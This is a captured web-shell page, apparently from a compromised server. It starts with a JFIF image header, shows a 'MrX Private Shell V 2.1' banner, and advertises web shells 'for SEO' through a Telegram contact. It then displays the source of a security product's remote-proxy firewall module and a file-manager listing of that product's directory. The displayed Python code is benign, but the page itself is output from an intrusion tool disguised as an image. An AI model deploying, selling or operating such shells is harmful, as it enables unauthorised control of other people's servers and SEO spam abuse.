����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
import asyncio
from defence360agent.model.simplification import run_in_executor
from defence360agent.rpc_tools.lookup import RootEndpoints, bind
from defence360agent.rpc_tools.utils import run_in_executor_decorator
from defence360agent.utils import Scope
from im360.contracts.config import Protector
from im360.subsys.webshield import update_remote_proxy_config
from im360.internals.core.ipset.ip import IPSetRemoteProxy
from im360.model.firewall import RemoteProxy, RemoteProxyGroup
class RemoteProxyEndpoints(RootEndpoints):
SCOPE = Scope.IM360
@bind("remote-proxy", "list")
@run_in_executor_decorator
def remote_proxy_list(self, by_group=None, by_source=None):
return {"items": RemoteProxy.list(by_group, by_source, None)}
@bind("remote-proxy", "add")
async def remote_proxy_add(self, name, networks):
await run_in_executor(
asyncio.get_event_loop(),
lambda: RemoteProxy.add_many(
name, RemoteProxyGroup.MANUAL, networks
),
)
async with Protector.RULE_EDIT_LOCK:
for network in networks:
await IPSetRemoteProxy().add(network, 0)
await update_remote_proxy_config()
@bind("remote-proxy", "delete")
async def remote_proxy_delete(self, networks):
deleted = await run_in_executor(
asyncio.get_event_loop(),
lambda: RemoteProxy.delete_networks(
RemoteProxyGroup.MANUAL, networks
),
)
async with Protector.RULE_EDIT_LOCK:
for network in deleted:
await IPSetRemoteProxy().delete(network)
if len(deleted):
await update_remote_proxy_config()
@bind("remote-proxy", "group", "enable")
async def remote_proxy_group_enable(self, name, source):
loop = asyncio.get_event_loop()
changed = await run_in_executor(
loop, lambda: RemoteProxyGroup.set_enabled(name, source, True)
)
if changed:
networks = await run_in_executor(
loop, lambda: RemoteProxy.list(name, source, None)
)
async with Protector.RULE_EDIT_LOCK:
for network in networks:
await IPSetRemoteProxy().add(network["network"])
if len(networks):
await update_remote_proxy_config()
@bind("remote-proxy", "group", "disable")
async def remote_proxy_group_disable(self, name, source):
loop = asyncio.get_event_loop()
changed = await run_in_executor(
loop, lambda: RemoteProxyGroup.set_enabled(name, source, False)
)
if changed:
networks = await run_in_executor(
loop, lambda: RemoteProxy.list(name, source, None)
)
async with Protector.RULE_EDIT_LOCK:
for network in networks:
await IPSetRemoteProxy().delete(network["network"])
if len(networks):
await update_remote_proxy_config()
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| schema | Folder | 0755 |
|
|
| schema_responses | Folder | 0755 |
|
|
| __init__.py | File | 0 B | 0644 |
|
| configuration_management.py | File | 3.12 KB | 0644 |
|
| conflicts.py | File | 3.21 KB | 0644 |
|
| control_panel.py | File | 484 B | 0644 |
|
| countries.py | File | 5.72 KB | 0644 |
|
| csf_imports.py | File | 2.63 KB | 0644 |
|
| custom_lists.py | File | 642 B | 0644 |
|
| disabled_rules.py | File | 7.47 KB | 0644 |
|
| feature.py | File | 1.9 KB | 0644 |
|
| health.py | File | 343 B | 0644 |
|
| hosting_panel.py | File | 2.73 KB | 0644 |
|
| incidents.py | File | 1.83 KB | 0644 |
|
| kcarectl.py | File | 824 B | 0644 |
|
| lists.py | File | 30.66 KB | 0644 |
|
| malware.py | File | 385 B | 0644 |
|
| middleware.py | File | 1.32 KB | 0644 |
|
| proactive.py | File | 7.91 KB | 0644 |
|
| remote_proxy.py | File | 2.97 KB | 0644 |
|
| resident_socket.py | File | 1.59 KB | 0644 |
|
| schema.py | File | 1.05 KB | 0644 |
|
| smart_advice.py | File | 1.25 KB | 0644 |
|
| smtp_blocking.py | File | 1.72 KB | 0644 |
|
| unavailable_on_freemium.py | File | 354 B | 0644 |
|
| uninstall_cleanup.py | File | 2.42 KB | 0644 |
|
| validate.py | File | 9.19 KB | 0644 |
|
| whitelist_rbl.py | File | 409 B | 0644 |
|
| whitelisted_crawlers.py | File | 1.02 KB | 0644 |
|
| whitelisted_domains.py | File | 821 B | 0644 |
|